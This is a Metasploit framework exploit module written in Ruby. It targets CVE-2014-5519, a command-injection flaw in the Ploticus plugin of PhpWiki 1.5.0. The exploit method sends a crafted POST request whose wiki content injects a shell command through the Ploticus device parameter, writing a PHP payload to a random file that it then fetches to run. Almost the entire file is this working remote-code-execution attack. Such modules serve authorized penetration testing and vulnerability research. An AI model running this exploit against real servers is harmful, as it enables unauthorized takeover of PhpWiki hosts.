##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::PhpEXE

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Phpwiki Ploticus Remote Code Execution',
        'Description' => %q{
          The Ploticus module in PhpWiki 1.5.0 allows remote attackers to execute arbitrary
          code via command injection.
        },
        'Author' => [
          'Benjamin Harris', # Discovery and POC
          'us3r777 <us3r777[at]n0b0.so>' # Metasploit module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2014-5519' ],
          [ 'OSVDB', '110576' ],
          [ 'EDB', '34451'],
          [ 'URL', 'https://sourceforge.net/p/phpwiki/code/8974/?page=1' ], # This commit prevents exploitation
          [ 'URL', 'https://seclists.org/fulldisclosure/2014/Aug/77' ] # The day the vuln went public
        ],
        'Payload' => {
          'BadChars' => "\x00"
        },
        'Platform' => 'php',
        'Targets' => [
          [ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
          [ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2014-09-11',
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The full URI path to phpwiki', '/phpwiki']),
      ]
    )
  end

  def exploit
    uri = target_uri.path

    payload_name = "#{rand_text_alpha(8)}.php"
    php_payload = get_write_exec_payload(unlink_self: true)

    res = send_request_cgi({
      'uri' => normalize_uri(uri + '/index.php/HeIp'),
      'method' => 'POST',
      'vars_post' =>
      {
        'pagename' => 'HeIp',
        'edit[content]' => "<<Ploticus device=\";echo '#{php_payload}' > #{payload_name};\" -prefab= -csmap= data= alt= help= >>",
        'edit[preview]' => 'Preview',
        'action' => 'edit'
      }
    })

    if !res or res.code != 200
      fail_with(Failure::UnexpectedReply, "#{peer} - Upload failed")
    end

    upload_uri = normalize_uri(uri + '/' + payload_name)
    print_status("Executing payload #{payload_name}")
    send_request_raw({
      'uri' => upload_uri,
      'method' => 'GET'
    })
  end
end
